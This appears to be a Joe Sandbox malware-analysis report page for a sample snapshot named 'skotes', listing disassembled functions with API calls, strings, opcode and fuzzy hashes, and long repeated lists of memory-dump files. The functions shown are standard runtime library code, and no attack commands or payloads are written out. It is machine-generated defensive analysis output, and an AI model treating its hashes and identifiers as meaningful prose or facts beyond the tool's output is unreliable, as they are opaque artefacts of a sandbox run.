Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: 6a8ba52d883d4735c48f4d9623b5e0c2d55a3f1bf029dbb56b48c9a59d4cd650
Instruction ID: 8ced49edae202eb075373483573b378cb6954598f503d58e76eded9e35a95dec
Opcode Fuzzy Hash: 6a8ba52d883d4735c48f4d9623b5e0c2d55a3f1bf029dbb56b48c9a59d4cd650
Instruction Fuzzy Hash: 4E218035600619EFCB24EFA8C8A5FAD77B5FF48310F10406DE5069B692DB79AE01CB91

Function 007CB975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 007CBA0E

Strings

RoInitialize, xrefs: 007CB998
combase.dll, xrefs: 007CB983, 007CB988, 007CB99D, 007CB9C8
RoUninitialize, xrefs: 007CB9C1

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 0f479cdf7c5749bfbea89e4488915b8dab6d3a7f3bc1e0e4cfcd822e0644960b
Instruction ID: 9c8b91b734608f41287aed8b6904f91e2c91bbecd06c430fd260119d88671ee2
Opcode Fuzzy Hash: 0f479cdf7c5749bfbea89e4488915b8dab6d3a7f3bc1e0e4cfcd822e0644960b
Instruction Fuzzy Hash: AD01D661542215EDEB1177B25C16FBF339CAF01758F11542EB690E6280EF3DE8018AF1

Function 007C6E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 007C6E73

Part of subcall function 007C4E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 007C4E7F
Part of subcall function 007C4E6E: List.LIBCMT ref: 007C4E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 007C6E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 007C6EAA

Strings

eventObject, xrefs: 007C6E7D

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: e42d2981d0ee7a6418d46ca12c6133c80771d3ac0d16af9652d91be63fa21d9b
Instruction ID: be13d3a265ac30d260314e01627ea184033e16f2fa54f8aeda426956b11bfd57
Opcode Fuzzy Hash: e42d2981d0ee7a6418d46ca12c6133c80771d3ac0d16af9652d91be63fa21d9b
Instruction Fuzzy Hash: DB11C276540219EADB24EBA4CD86FFE73A86F00708F20852EB514A61D1EB78AA05C665

Function 007CA0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 007CA102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 007CA126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007CA139

Strings

pScheduler, xrefs: 007CA131

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 9cfcaae5a0e5f12cf5923ea372ee322433c85f99bfce7e7919e7902afcad91d7
Instruction ID: faad0e09c806b7075a1c7e15a6f5b40433315171f6b2db889a133c2331cfb9dc
Opcode Fuzzy Hash: 9cfcaae5a0e5f12cf5923ea372ee322433c85f99bfce7e7919e7902afcad91d7
Instruction Fuzzy Hash: 5EF0E97690060CF7C725FA54DC87E9EB3789E80729B24813EE51567281DB7CAF05C6D2

Function 007E67A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 007E6902
__alloca_probe_16.LIBCMT ref: 007E6998
__freea.LIBCMT ref: 007E6A03
__freea.LIBCMT ref: 007E6A0F

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: 23d6c25ef4ff1a23486794ad2409e0ecbbf0c199ec3efb84245f2223f1882718
Instruction ID: 983176254f4bc075b5dc7634d8bb221f7a9aa8d38b17a2d632baa85f3f5f77ec
Opcode Fuzzy Hash: 23d6c25ef4ff1a23486794ad2409e0ecbbf0c199ec3efb84245f2223f1882718
Instruction Fuzzy Hash: 0481C571D022859BDF209E668855AEF7BB5DF2D794F198069E800BB241E73DDC40CBA1

Function 007D504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 007D5115
___AdjustPointer.LIBCMT ref: 007D5138
___AdjustPointer.LIBCMT ref: 007D51D4

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
